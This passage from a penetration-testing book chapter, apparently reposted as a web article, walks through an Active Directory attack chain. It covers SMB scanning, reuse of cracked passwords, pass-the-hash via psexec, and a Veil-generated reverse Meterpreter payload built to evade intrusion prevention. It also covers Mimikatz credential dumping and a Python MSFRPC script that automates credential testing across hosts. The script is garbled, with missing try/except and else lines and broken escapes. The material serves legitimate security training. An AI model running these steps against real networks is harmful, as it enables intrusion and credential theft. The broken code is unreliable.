Exploiting Services with Python

15 min read

In this article by Christopher Duffy author of the book Learning Python Penetration Testing, we will learn about one of the big misconceptions with testing for the synchronization of account credentials today, is the prevalence of exploitable. You will still find vulnerabilities that can be exploited by overflowing the stack or heap, they are just significantly reduced or more complex.

(For more resources related to this topic, see here.)

Testing for the synchronization of account credentials

With these results, we can determine if any of these credentials are reused in the network. We know there are Windows hosts primarily in the target network, but we need to identify which ones have port 445 open. We can then try and determine, which accounts might grant us access, when the following command is run:

nmap -sS -vvv -p445 -oG output

Then, parse the results for open ports with the following command, which will provide a file of target hosts with Server Message Block (SMB) enabled.

grep 445/open output| cut -d" " -f2 >> smb_hosts

The passwords can be extracted directly from John and written a password file that can be used for follow-on service attacks.

john --show unshadowed |cut -d: -f2|grep -v " " > passwords

Always test on a single host the first time you run this type of attack. In this example, we are using the sys account, but it is more common to use the root account or similar administrative accounts to test password reuse (synchronization) in an environment.

The following attack using auxiliary/scanner/smb/smb_enumusers_domain will check for two things. It will identify what systems this account has access to, and the relevant users that are currently logged into the system. In the second portion of this example, we will highlight how to identify the accounts that are actually privileged and part of the Domain.

There are good points and bad points about the smb_enumusers_domain module. The bad points are that you cannot load multiple usernames and passwords into it. That capability is reserved for the smb_login module. The problem with smb_login is that it is extremely noisy, as many signature detection tools flag on this method of testing for logins. The third module smb_enumusers, which can be used, but it only provides details related to locale users as it identifies users based on the Security Accounts Manager (SAM) file contents. So, if a user has a Domain account and has logged into the box, the smb_enumusers module will not identify them.

So, understand each module and its limitations when identifying targets to laterally move. We are going to highlight how to configure the smb_enumusers_domain module and execute it. This will show an example of gaining access to a vulnerable host and then verifying DA account membership. This information can then be used to identify where a DA is located so that Mimikatz can be used to extract credentials.

For this example, we are going to use a custom exploit using Veil as well, to attempt to bypass a resident Host Intrusion Prevention System (HIPS). More information about Veil can be found here at https://github.com/Veil-Framework/Veil-Evasion.git.

So, we configure the module to use the password batman, and we target the local administrator account on the system. This can be changed, but often the default is used. Since it is the local administrator, the Domain is set to WORKGROUP. The following figure shows the configuration of the module:

Before running commands such as these, make sure to use spool, to output the results to a log file so you can go back and review the results.

As you can see in the following figure, the account provided details about who was logged into the system. This means that there are logged in users relevant to the returned account names and that the local administrator account will work on that system. This means this system is ripe for compromise by a Pass-the-Hash attack (PtH).

The psexec module allows you to either pass the extracted Local Area Network Manager (LM): New Technology LM (NTLM) hash and username combination or just the username password pair to get access.

To begin with, we setup a custom multi/handler to catch the custom exploit we generated by Veil as shownfollowing. Keep in mind, I used 443 for the local port because it bypasses most HIPS and the local host will change depending on your host.

Now, we need to generate custom payloads with Veil to be used with the psexec module. You can do this by navigating to the Veil-Evasion installation directory and running it with python Veil-Evasion.py. Veil has a good number of payloads that can be generated with a variety of obfuscation or protection mechanisms, to see the specific payload you want to use, to execute the list command. You can select the payload by typing in the number of the payload or the name. As an example, run the following commands to generate a C Sharp stager that does not use shell code, keep in mind this requires specific versions of .NET on the target box to work.

use cs/meterpreter/rev_tcp
set LPORT 443
set use_arya Y

There are two components to a typical payload, the stager and the stage. A stager sets up the network connection between the attacker and the victim. Payloads that often use native system languages can be purely stager. The second part is the stage, which are the components that are downloaded by the stager. These can include things like your Meterpreter. If both items are combined, they are called a single; think about when you create your malicious Universal Serial Bus (USB) drives, these are often singles.

The output will be an executable, that will spawn an encrypted reverse HyperText Transfer Protocol Secure (HTTPS) Meterpreter.

The payload can be tested with the script checkvt, which safely verifies if the payload would be picked up by most HIPS solutions. It does this without uploading it to Virus Total, and in turn does not add the payload to the database, which many HIPS providers pull from. Instead, it compares the hash of the payload to those already in the database.

Now, we can setup the psexec module to reference the custom payload for execution.

Update the psexec module, so that it uses the custom payload generated by Veil-Evasion, via set EXE::Custom and disable the automatic payload handler with set DisablePayloadHandler true, as shown following:

Exploit the target box, and then attempt to identify who the DAs are in the Domain. This can be done in one of two ways, either by using the post/windows/gather/enum_domain_group_users module or the following command from shell access.

net group "Domain Admins"

We can then Grep through the spooled output file from the previously run module to locate relevant systems that might have these Das logged into. When gaining access to one of those systems, there would likely be DA tokens or credentials in memory, which can be extracted and reused. The following command is an example of how to analyze the log file for these types of entries.

grep <username> <spoofile.log>

As you can see, this very simple exploit path allows you to identify where the DAs are. Once you are on the system all you have to do is load mimikatz and extract the credentials typically with the wdigest command from the established Meterpreter session. Of course, this means the system has to be newer than Windows 2000, and have active credentials in memory. If not, it will take additional effort and research to move forward. To highlight this, we use our established session to extract credentials with Mimikatz as you can see following. The credentials are in memory and since the target box was Windows XP machine, we have no conflicts and no additional research is required.

In addition to the intelligence we have gathered from extracting the active DA list from the system, we now have another set of confirmed credentials that can be used. Rinsing and repeating this method of attack allows you to quickly move laterally around the network till you identify viable targets.

Automating the exploit train with Python

This exploit train is relatively simple, but we can automate a portion of this with the Metasploit Remote Procedure Call (MSFRPC). This script will use the nmap library to scan for active ports of 445, then generate a list of targets to test using a username and password passed via argument to the script. The script will use the same smb_enumusers_domain module to identify boxes that have the credentials reused and other viable users logged into them. First, we need to install SpiderLabs msfrpc library for Python. This library can be found here at https://github.com/SpiderLabs/msfrpc.git.

The script we are creating uses the netifaces library to identify what interface IP addresses belong to your host. It then scans for port 445 the SMB port on the IP address, range, or the Classes Inter Domain Routing (CIDR) address. It eliminates any IP addresses that belong to your interface and then tests the credentials using the Metasploit module auxiliary/scanner/smb/smb_enumusers_domain. At the same time, it verifies what users are logged onto the system. The outputs of this script in addition to real time response are two files, a log file that contains all the responses, and a file that holds the IP addresses for all the hosts that have SMB services.

This Metasploit module takes advantage of RPCDCE, which does not run on port 445, but we are verifying that the service is available for follow-on exploitation.

This file could then be fed back into the script, if you as an attacker find other credential sets to test as shown following:

Lastly, the script can be passed hashes directly just like the Metasploit module as shown following:

The output will be slightly different for each running of the script, depending on the console identifier you grab to execute the command. The only real difference will be the additional banner items typical with a Metasploit console initiation.

Now there are a couple things that have to be stated, yes you could just generate a resource file, but when you start getting into organizations that have millions of IP addresses, this becomes unmanageable. Also the MSFRPC can have resource files fed directly into it as well, but it can significantly slow the process. If you want to compare, rewrite this script to do the same test as the previous ssh_login.py script you wrote, but with direct MSFRPC integration.

Like all scripts libraries are needed to be established, most of these you are already familiar with, the newest one relates to the MSFRPC by SpiderLabs. The required libraries for this script can be seen as follows:

import os, argparse, sys, time
   import msfrpc
   sys.exit("[!] Install the msfrpc library that can be found
here: https://github.com/SpiderLabs/msfrpc.git")
   import nmap
   sys.exit("[!] Install the nmap library: pip install python-
   import netifaces
   sys.exit("[!] Install the netifaces library: pip install

We then build a module, to identify relevant targets that are going to have the auxiliary module run against it. First, we setup the constructors and the passed parameters. Notice that we have two service names to test against for this script, microsoft-ds and netbios-ssn, as either one could represent port 445 based on the nmap results.

def target_identifier(verbose, dir, user, passwd, ips, port_num,
ifaces, ipfile):
   hostlist = []
   pre_pend = "smb"
   service_name = "microsoft-ds"
   service_name2 = "netbios-ssn"
   protocol = "tcp"
   port_state = "open"
   bufsize = 0
   hosts_output = "%s/%s_hosts" % (dir, pre_pend)

After which, we configure the nmap scanner to scan for details either by file or by command line. Notice that the hostlist is a string of all the addresses loaded by the file, and they are separated by spaces. The ipfile is opened and read and then all newlines are replaced with spaces as they are loaded into the string. This is a requirement for the specific hosts argument of the nmap library.

   if ipfile != None:
if verbose > 0:
print("[*] Scanning for hosts from file %s") % (ipfile)
       with open(ipfile) as f:
           hostlist = f.read().replace('n',' ')
       scanner.scan(hosts=hostlist, ports=port_num)
if verbose > 0:
      print("[*] Scanning for host(s) %s") % (ips)
       scanner.scan(ips, port_num)
   open(hosts_output, 'w').close()
   if scanner.all_hosts():
       e = open(hosts_output, 'a', bufsize)
       sys.exit("[!] No viable targets were found!")

The IP addresses for all of the interfaces on the attack system are removed from the test pool.

   for host in scanner.all_hosts():
       for k,v in ifaces.iteritems():
           if v['addr'] == host:
               print("[-] Removing %s from target list since it
belongs to your interface!") % (host)
               host = None

Finally, the details are then written to the relevant output file and python lists, and then returned to the original call origin.

       if host != None:
          e = open(hosts_output, 'a', bufsize)
           if service_name or service_name2 in scanner[host][protocol][int(port_num)]['name']:
               if port_state in scanner[host][protocol][int(port_num)]['state']:
                   if verbose > 0:
                       print("[+] Adding host %s to %s since the
service is active on %s") % (host, hosts_output, port_num)
                   hostdata=host + "n"
      if verbose > 0:
             print("[-] Host %s is not being added to %s since
the service is not active on %s") % (host, hosts_output, port_num)
   if not scanner.all_hosts():
   if hosts_output:
       return hosts_output, hostlist

The next function creates the actual command that will be executed; this function will be called for each host the scan returned back as a potential target.

def build_command(verbose, user, passwd, dom, port, ip):
   module = "auxiliary/scanner/smb/smb_enumusers_domain"
   command = '''use ''' + module + '''
set RHOSTS ''' + ip + '''
set SMBUser ''' + user + '''
set SMBPass ''' + passwd + '''
set SMBDomain ''' + dom +'''
   return command, module

The last function actually initiates the connection with the MSFRPC and executes the relevant command per specific host.

def run_commands(verbose, iplist, user, passwd, dom, port, file):
   bufsize = 0
   e = open(file, 'a', bufsize)
   done = False

The script creates a connection with the MSFRPC and creates console then tracks it by a specific console_id. Do not forget, the msfconsole can have multiple sessions, and as such we have to track our session to a console_id.

  client = msfrpc.Msfrpc({})
       result = client.call('console.create')
       sys.exit("[!] Creation of console failed!")
   console_id = result['id']
   console_id_int = int(console_id)

The script then iterates over the list of IP addresses that were confirmed to have an active SMB service. The script then creates the necessary commands for each of those IP addresses.

   for ip in iplist:
       if verbose > 0:
           print("[*] Building custom command for: %s") %
       command, module = build_command(verbose, user, passwd,
dom, port, ip)
       if verbose > 0:
           print("[*] Executing Metasploit module %s on host:
%s") % (module, str(ip))

The command is then written to the console and we wait for the results.

       client.call('console.write',[console_id, command])
       while done != True:

We await the results for each command execution and verify the data that has been returned and that the console is not still running. If it is, we delay the reading of the data. Once it has completed, the results are written in the specified output file.

           result = client.call('console.read',[console_id_int])
           if len(result['data']) > 1:
               if result['busy'] == True:
                   console_output = result['data']
                   if verbose > 0:
                    done = True

We close the file and destroy the console to clean up the work we had done.


The final pieces of the script are related to setting up the arguments, setting up the constructors and calling the modules. These components are similar to previous scripts and have not been included here for the sake of space, but the details can be found at the previously mentioned location on GitHub. The last requirement is loading of the msgrpc at the msfconsole with the specific password that we want. So launch the msfconsole and then execute the following within it.

load msgrpc Pass=msfrpcpassword

The command was not mistyped, Metasploit has moved to msgrpc verses msfrpc, but everyone still refers to it as msfrpc. The big difference is the msgrpc library uses POST requests to send data while msfrpc used eXtensible Markup Language (XML). All of this can be automated with resource files to set up the service.


In this article, we highlighted a manner in which you can move through a sample environment. Specifically, how to exploit a relative box, escalate privileges, and extract additional credentials. From that position, we identified other viable hosts we could laterally move into and the users who were currently logged into them. We generated custom payloads with the Veil Framework to bypass HIPS, and executed a PtH attack. This allowed us to extract other credentials from memory with the tool Mimikatz. We then automated the identification of viable secondary targets and the users logged into them with Python and MSFRPC.

Resources for Article:

Further resources on this subject:


Please enter your comment!
Please enter your name here